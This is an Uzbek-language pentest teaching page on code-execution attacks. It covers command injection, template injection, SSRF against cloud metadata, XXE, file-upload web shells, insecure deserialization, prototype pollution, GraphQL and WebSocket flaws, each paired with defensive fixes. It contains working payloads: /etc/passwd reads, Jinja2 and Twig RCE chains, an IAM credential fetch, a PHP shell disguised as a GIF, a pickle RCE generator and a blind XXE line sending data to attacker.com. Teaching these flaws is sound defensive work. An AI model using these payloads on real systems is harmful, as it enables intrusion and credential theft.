Kod bajarish hujumlari

01Command injection

Foydalanuvchi kiritgan ma'lumot exec/system ga bevosita tushsa — serverda buyruq bajariladi.

Nima qidirish

# kodda qidirish
grep -rnE "exec\(|system\(|popen\(|shell_exec|child_process|\`|os\.system|subprocess" src/ | head -20

# xavfli usul
exec("ping -c 1 " + req.query.host)        ← XAVFLI

# to'g'ri usul
if (!/^[\w.-]+$/.test(host)) return fail();    # oq ro'yxat
exec(`ping -c 1 ${host}`)                    ← to'g'ri
# yoki parametrli chaqiruv
spawn('ping', ['-c','1',host], {shell:false});

Sinash

# asosiy belgilar
?host=127.0.0.1;id
?host=127.0.0.1|id
?host=127.0.0.1&id
?host=127.0.0.1%0aid         # URL kodlash
?host=127.0.0.1%0a%0did

# inqilob chiqishi = bajarildi
uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

# filtrlashni tekshirish
?host=127.0.0.1 ; cat /etc/passwd      # bo'shliq bilan
?host=127.0.0.1$IFS'id'                 # $IFS bilan
?host=127.0.0.1'%0a'%0a'id'             # yangi qator bilan
?host=..%2f..%2f..%2fetc%2fpasswd      # traversal bilan

Barcha platforma belgilar

02SSTI — Server-Side Template Injection

Shablon tizimi (Jinja2, Twig, Handlebars) foydalanuvchi ma'lumotini ifoda sifatida bajaradi.

# xavfli
const html = `<h1>Salom ${req.query.name}</h1>`;   # EJS/pug
render(req.query.name)                                  # Jinja/Twig

# belgilar
{{7*7}}        → 49          # Jinja2 / Twig
${7*7}        → 49          # EJS / Pug
<%= 7*7 %>    → 49          # EJS
{{7*'7'}}     → '7777'      # Jinja2 (arifmetika yo'q)
{#comment#}                # Twig

SSTI → RCE (Python)

# Jinja2
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('id','','','','',0,'',0,0) }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Twig
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

# FreeMarker / Velocity / Thymeleaf — boshqa sintaksis
${T(java.lang.Runtime).getRuntime().exec('id')}

// ❌ foydalanuvchi matnini shablonga qo'yma
render(`Salom ${name}`)
// ✅ ma'lumotni o'zgaruvchi sifatida ber
render('greeting.html', { name: name })   // Jinja2 xavfsiz usul
// ✅ yoki escape
{{ name|e }}

03SSRF — Server-Side Request Forgery

Hujumchi serverga o'z nomidan so'rov yuborishni majburlaydi — server ichki tarmoqqa kiradi.

# xavfli
fetch(req.query.url)                       # to'g'ridan-to'g'ri

Sinash — ichki resurslarga

# bulut metadata (eng muhimi — kalitlari bor)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# ichki tarmoq
http://127.0.0.1:6379/          # Redis
http://127.0.0.1:3306/          # MySQL
http://127.0.0.1:9200/          # Elasticsearch
http://10.0.0.1/admin           # ichki admin panel

# o'z saytingizni tekshirish
curl -s "https://site.uz/api/proxy?url=http://127.0.0.1:6379/info"
curl -s "https://site.uz/api/proxy?url=http://127.0.0.1:22/"

# AWS / DigitalOcean / OpenStack
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → role nomi
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# → KALIT (vaqtincha, ~6 soat)

const ALLOW = ['https://api.meeshar.uz'];      # oq ro'yxat
const u = new URL(url);
if (u.protocol !== 'https:' || !ALLOW.includes(u.origin)) return fail();
// IP bloklash (DNS orqali chetlab o'tilmasligi uchun — resolve dan keyin)
const ip = await dns.lookup(u.hostname);
if (ip.startsWith('127.') || ip.startsWith('10.') || ip === '169.254.169.254') return fail();
// metadata'ga tarmoq yo'lini taqiqlang
sudo iptables -A OUTPUT -d 169.254.169.254 -j DROP

04XXE — XML External Entity

XML parser tashqi manbalarni o'qishga ruxsat bersa — fayl o'qish yoki SSRF mumkin.

# xavfli so'rov
curl -s -X POST -H 'Content-Type: application/xml' \
  -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
      <root><name>&xxe;</name></root>' \
  https://site.uz/api/import

# javobda /etc/passwd chiqsa — XXZ bor
root:x:0:0:root:/root:/bin/bash
...

# SSRF orqali
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

# "Blind" XXE (javobda chiqmaydi, lekin o'qiladi)
<!ENTITY xxe SYSTEM "http://attacker.com/?data=content">

Ba'zi tillarda

# PHP
simplexml_load_string($xml)                    # LIBXML_NOENT yo'q = xavfsiz
simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT)   # XAVFLI

# Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);  # to'g'ri

# Python
from defusedxml import ElementTree   # xavfsiz
ET.fromstring(xml)                             # XAVFLI

05Fayl yuklash zaifliklari

Tur tekshiruvini o'tkazib yuborish

# 1) .php kengaytmasi
curl -s -F "file=@shell.php" https://site.uz/api/upload
curl -s -F "file=@shell.php;.jpg" https://site.uz/api/upload      # ; trim
curl -s -F "file=@shell.php%00.jpg" https://site.uz/api/upload  # null byte (eski)
curl -s -F "file=@shell.pHp" https://site.uz/api/upload          # katta-kichik
curl -s -F "file=@shell.php5" https://site.uz/api/upload         # php5

# 2) konteyner tipini o'zgartirish
curl -s -F "file=@shell.jpg;type=application/x-php" https://site.uz/api/upload

# 3) .htaccess yuklash
printf 'AddType application/x-httpd-php .jpg\n' > .htaccess
curl -s -F "file=@.htaccess" https://site.uz/upload/

# 4) PHP kodini "rasm" deb yashirish
printf 'GIF89a<?php system($_GET["c"]); ?>' > shell.gif.jpg
curl -s -F "file=@shell.gif.jpg" https://site.uz/api/upload
curl -s "https://site.uz/uploads/shell.gif.jpg?c=id"

// 1) Ruxsat etilgan turlar (oq ro'yxat)
const OK = ['image/jpeg', 'image/png', 'image/webp'];
if (!OK.includes(file.mimetype)) return fail();

// 2) Kengaytma tekshiruvi (faqat ruxsat etilganlari)
const ext = path.extname(file.name).toLowerCase();
if (!['.jpg','.png','.webp'].includes(ext)) return fail();

// 3) Mazmuni tekshirish — rasm ekanini isbotlash
const buf = await readFirstBytes(file.path, 8);
if (buf[0] !== 0xFF || buf[1] !== 0xD8) return fail();  // JPEG

// 4) Tasodifiy nom bering
const name = crypto.randomUUID() + ext;

// 5) Yuklanadigan papkani kod bajarilmaydigan qiling
chmod 644 uploads/
// nginx: location ~ \.php$ { return 403; }  (uploads uchun)

06Insecure Deserialization

Ma'lumotni (JSON/Base64) serverda obyektga aylantirish — agar noto'g'ri tekshirilsa, hujumchi kod bajarishni buyurishi mumkin.

# Java — gadget orqali RCE
curl -s -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @ysoserial-generated.bin https://site.uz/api/import

# Python pickle — ENG OSON
python3 -c "
import pickle, os
class RCE:
    def __reduce__(self): return (os.system, ('id',))
open('p.bin','wb').write(pickle.dumps(RCE()))"
curl -s -X POST --data-binary @p.bin https://site.uz/api/import

# PHP
php -r 'class RCE { function __destruct() { system("id"); } }
        echo serialize(new RCE());' | xxd -p | tr -d '\n'
curl -s -X POST --data 'O:3:"RCE":0:{}' https://site.uz/api/import

07Prototype Pollution

JS obyektining asosiy qismini o'zgartirib, butun dastur xavfsizligini buzish.

# sinash
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"__proto__":{"isAdmin":true,"role":"admin"}}' https://site.uz/api/login
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}' https://site.uz/api/login

# muhim joylar:
Object.prototype.isAdmin     # barcha obyektlarga xususiyat qo'shiladi
Object.prototype.role = 'admin'

// 1) JSON.parse safe variant
const clean = JSON.parse(JSON.stringify(body, (k, v) =>
  (k === '__proto__' || k === 'constructor' || k === 'prototype') ? undefined : v
));

// 2) Object.create(null) — meros yo'q
const cfg = Object.create(null);

// 3) Mocha / lodash.merge — zaif versiyalardan qatnashish
npm audit fix

08GraphQL zaifliklari

# GraphQL so'rovi odatda bitta endpoint orqali
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { types { name } } }"}' \
  https://site.uz/graphql | python3 -m json.tool | head

# ↑ butun sxema ochiq: barcha maydonlar va turlar ko'rinadi

Asosiy zaifliklar

09WebSocket zaifliklari

# Node.js da tekshirish
npm install -g wscat
wscat -c wss://site.uz/ws

# brauzer konsolida
const ws = new WebSocket('wss://site.uz/ws');
ws.onmessage = (e) => console.log('server:', e.data);
ws.onopen = () => ws.send('{"type":"subscribe","room":"admin"}');
// ← boshqa foydalanuvchilar xabarlari kelayotganini tekshirish

// ws server da (ws + express)
wss.on('connection', (ws, req) => {
  const token = req.url.split('token=')[1];
  const user = verifyToken(token);
  if (!user) return ws.close(1008, 'auth required');

  // Origin tekshiruvi
  const origin = req.headers.origin;
  if (origin && !ALLOWED_ORIGINS.includes(origin)) return ws.close(1008);

  ws.on('message', (raw) => {
    const msg = JSON.parse(raw);
    if (msg.room && !canJoin(user, msg.room)) return;  // ← muhim
    if (msg.room) joinRoom(msg.room, ws);
  });
});

★Qaysi OS da ishlaydi

Kod bajarish hujumlari · Pentest O'rgatuvchi · Lingofy.uz · 2026‑09‑26
Faqat o'z resursingizda ishlating. Bu guruh eng xavfli — ehtiyot bo'ling.